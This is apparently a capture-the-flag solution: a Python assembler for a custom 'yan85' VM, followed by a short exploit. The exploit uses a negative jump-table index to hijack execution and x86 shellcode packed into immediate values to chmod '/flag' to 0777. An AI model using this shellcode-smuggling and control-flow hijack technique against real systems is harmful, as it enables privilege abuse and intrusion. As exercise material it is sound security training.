imm = p64(0x04) # imm r, byte: r = byte
add = p64(0x02) # add r1, r2: r1 = r1 + r2
push = p64(0x10) # push 0, r: stack[sp] = r; sp++
pop = p64(0x10) # pop r, 0: r = stack[--sp]
stm = p64(0x20) # stm r1, r2: mem[r1] = r2
ldm = p64(0x40) # ldm r1, r2: r1 = mem[r2]
cmp = p64(0x80) # cmp r1, r2: flag = (r1 == r2)
jmp = p64(0x01) # jmp f, r: ip = addr if f == flag
syscall = p64(0x08) # sys call, r: syscall(call) -> r

# registers
reg = {
"a": p64(0x20), # r10
"b": p64(0x10), # r11
"c": p64(0x40), # r12
"d": p64(0x20), # r13
"sp": p64(0x08), # r14
"flag": p64(0x02), # r15
"ip": p64(0x01) # r9
}

# filename = sys.argv[1]
input = open("input", 'r')
output = open('output', 'wb')
# DON'T change these even when order changes
while instr := input.readline():
instr = instr.strip()
if not instr or instr.startswith('#'):
continue
op, op1, op2 = instr.split()
if op == 'imm':
op = imm
op1 = reg[op1]
if op2.startswith('\"'):
op2 = op2.strip("\"")
op2 = ord(op2)
elif op2.startswith('0x'):
op2 = int(op2, 16)
else:
op2 = int(op2)
op2 = p64(op2, sign="signed")
elif op == 'add':
op = add
op1 = reg[op1]
op2 = reg[op2]
elif op == 'push':
op = push
op1 = p64(0)
op2 = reg[op2]
elif op == 'pop':
op = pop
op1 = reg[op1]
op2 = p64(0)
elif op == 'stm':
op = stm
op1 = reg[op1]
op2 = reg[op2]
elif op == 'ldm':
op = ldm
op1 = reg[op1]
op2 = reg[op2]
elif op == 'cmp':
op = cmp
op1 = reg[op1]
op2 = reg[op2]
elif op == 'jmp':
op = jmp
op1 = p64(int(op1, 16))
op2 = reg[op2]
else:
print(f'Unknown instruction: {op}')
sys.exit(1)
# change this when order changes
output.write(op2+op1+op)

input.close()
output.close()
# yan85 assembly code
imm a -1019 # negative index to jump table
jmp 0 a
imm a 0xa2 # target offset
imm a 0x09eb900000005ab8 # mov eax, 0x5a; nop; jmp 0x09
imm a 0x09eb90013370d7bf # mov edi, 0x13370d7; nop; jmp 0x09
imm a 0x09eb90000001ffbe # mov esi, 0777; nop; jmp 0x09
imm a 0x67616c662f050f # syscall; "/flag" <- 0x13370d7

至此完结。